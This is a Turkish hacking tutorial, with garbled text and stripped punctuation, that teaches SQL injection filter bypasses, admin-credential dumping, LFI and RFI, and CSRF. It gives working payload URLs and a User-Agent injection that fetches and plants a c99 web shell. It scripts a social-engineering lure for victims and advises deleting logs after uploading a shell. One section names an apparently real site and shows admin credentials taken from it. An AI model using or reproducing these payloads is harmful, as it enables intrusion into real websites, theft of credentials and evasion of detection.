Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
